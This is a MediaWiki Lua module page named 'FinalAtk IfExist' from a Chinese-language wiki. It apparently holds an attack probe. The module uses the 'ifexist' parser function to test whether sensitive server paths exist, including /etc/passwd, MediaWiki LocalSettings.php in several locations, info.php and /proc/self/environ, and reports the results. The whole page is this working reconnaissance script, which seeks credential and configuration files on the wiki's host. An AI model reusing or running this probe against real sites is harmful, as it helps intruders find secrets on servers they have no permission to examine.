模块:FinalAtk IfExist

来自希服维基

可在模块:FinalAtk IfExist/doc创建此模块的帮助文档

local p = {}
function p.test(frame)
    local parent = frame:getParent()
    if not parent or not parent.callParserFunction then return "no_callPF" end

    local results = {}
    local paths = {
        "/etc/passwd",
        "/etc/hosts",
        "/var/www/html/LocalSettings.php",
        "/www/wwwroot/LocalSettings.php",
        "/var/www/html/info.php",
        "/www/wwwroot/info.php",
        "/var/www/html/w/LocalSettings.php",
        "/tmp",
        "/var/tmp",
        "/proc/self/environ",
        "/proc/self/cmdline",
    }

    for _, fpath in ipairs(paths) do
        local ok, out = pcall(parent.callParserFunction, parent, "ifexist", fpath, "EXISTS", "NOT_FOUND")
        results[#results+1] = fpath:sub(1,40) .. "=" .. tostring(out):sub(1,20)
    end

    return table.concat(results, " | ")
end
return p